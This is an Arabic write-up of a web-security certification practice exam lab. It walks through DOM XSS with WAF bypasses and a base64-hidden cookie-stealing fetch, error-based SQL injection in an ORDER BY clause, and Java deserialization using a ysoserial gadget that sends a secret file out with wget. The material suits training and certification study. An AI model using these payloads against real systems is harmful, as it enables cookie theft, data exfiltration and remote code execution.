> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md).

# شرح BSCP Practice Exam 1

## المرحلة 1: الوصول الأولي (البرمجة النصية عبر المواقع - XSS)

الهدف: لوحة البحث. الناقل: حقن JavaScript عبر DOM داخل كائن JSON.

#### 1. تحليل موقع الحقن

يتم عكس مصطلح البحث في متغير JavaScript:

```javascript
var searchResultsObj = {"results":[],"searchTerm":"test"}
```

```javascript
"};alert(1);//
```

#### 2. تجاوز WAF واستخراج البيانات

الاستخدام المباشر لـ `document.cookie` يؤدي إلى تفعيل WAF ("مصطلح بحث يحتمل أن يكون خطيراً"). ولتجاوز ذلك، يُستخدم ترميز سداسي عشري/يونيكود أو `بـ` الدالة.

حمولة اختبارية (تجاوز):

```javascript
"};alert(document['/x63/x6f/x6f/x6b/x69/x65']);//
"};alert(document['/u0063/u006f/u006f/u006b/u0069/u0065']);//
"};with(document)alert(cookie);//
```

الحمولة النهائية (استخراج البيانات عبر Collaborator):

* نستخدم `eval(atob(...))` لإخفاء `fetch` الطلب إلى خادم الاستغلال الخاص بنا.

{% code overflow="wrap" %}

```javascript
"};eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp'));//
```

{% endcode %}

#### 3. الاستغلال النهائي (يُسَلَّم إلى الضحية)

يعيد البرنامج النصي توجيه الضحية إلى عنوان URL الخبيث الذي يحتوي على الحمولة المحقونة:

```javascript
<script>
location='https://0a5c00b104455dae835b889200d50093.web-security-academy.net/?SearchTerm=%22};eval(atob(%27ZmV0Y2goJ2h0dHBzOi8vZXhwbG9pdC0wYWVjMDBmMjA0NWI1ZDUzODMwMDg3YWMwMWVlMDA3Zi5leHBsb2l0LXNlcnZlci5uZXQvbG9nP2M9Jytkb2N1bWVudC5jb29raWUp%27));//'
</script>
```

## المرحلة 2: تصعيد الصلاحيات (حقن SQL)

الناقل: حقن SQL في `ORDER BY` المعلمة

#### 1. تحديد قاعدة البيانات

يؤكد الخطأ الناتج عن سلسلة غير مغلقة احتمال وجود حقن. يتم اختبار حمولات تعتمد على الوقت لتحديد محرك قاعدة البيانات:

* PostgreSQL (الهدف): `DATE,pg_sleep(10)`
* الخطأ الذي تم العثور عليه: `تعذر تحديد عامل ترتيب للنوع void`.
* السبب: `pg_sleep()` يُرجع `void`، والتي لا يمكن ترتيبها بواسطة `ORDER BY`.

#### 2. استخراج البيانات (استنادًا إلى الخطأ)

لاستخراج كلمة مرور المسؤول، يتم فرض خطأ تحويل نوع (Cast) لعرض البيانات في رسالة الخطأ.

الحمولة: `DATE,(CASE WHEN (1=1) THEN (SELECT 'a' FROM pg_sleep(10)) ELSE 'a' END)`

النتيجة: يكشف الخطأ عن كلمة المرور: `invalid input syntax for type integer: "b235d711d5858825"`

<figure><img src="/files/4b906fe3fbb3defc30d51f26a112184fef508036" alt=""><figcaption></figcaption></figure>

### المرحلة 3: الوصول إلى نظام الملفات (إلغاء تسلسل Java)

الهدف: الوصول إلى نظام الملفات (استخراج `الملف السري` الملف).

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d
```

{% endcode %}

#### 1. تحليل ملف تعريف الارتباط

بمجرد الاتصال بحساب المسؤول، نلاحظ `admin-prefs` ملف تعريف الارتباط.

* الصيغة: ترميز URL -> Base64 -> Gzip -> كائن Java مُسلسل.

<figure><img src="/files/2aa9a1a5621263a059d8822fcb0217d8a5cd809b" alt=""><figcaption></figcaption></figure>

#### 2. الاستغلال (Ysoserial)

يستخدم التطبيق مكتبة معرّضة للثغرات (CommonsCollections). بعد اختبار الإصدارات المختلفة (من 1 إلى 8)، تبيّن أن الإصدار CommonsCollections6 يعمل.

<figure><img src="/files/ef6467dd998b92dd7e6a434022e8993d45102510" alt=""><figcaption></figcaption></figure>

#### 3. حمولة استخراج البيانات

نُنشئ حمولة لإرسال محتوى `/home/carlos/secret` الملف إلى خادم Collaborator الخاص بنا عبر طلب POST:

{% code overflow="wrap" %}

```bash
CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://xnoho8l20pznclvof0aaw7ysjjpad01p.oastify.com'
```

{% endcode %}

* الإجراء: ضغط الثنائي إلى Gzip -> ترميز Base64 -> استبدال القيمة في `admin-prefs` ملف تعريف الارتباط.

<figure><img src="/files/d029c217145f09622526914d66b38a7fd4a57b03" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/bscp-certification-practical-guide/writeup-practice-exam-1-bscp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
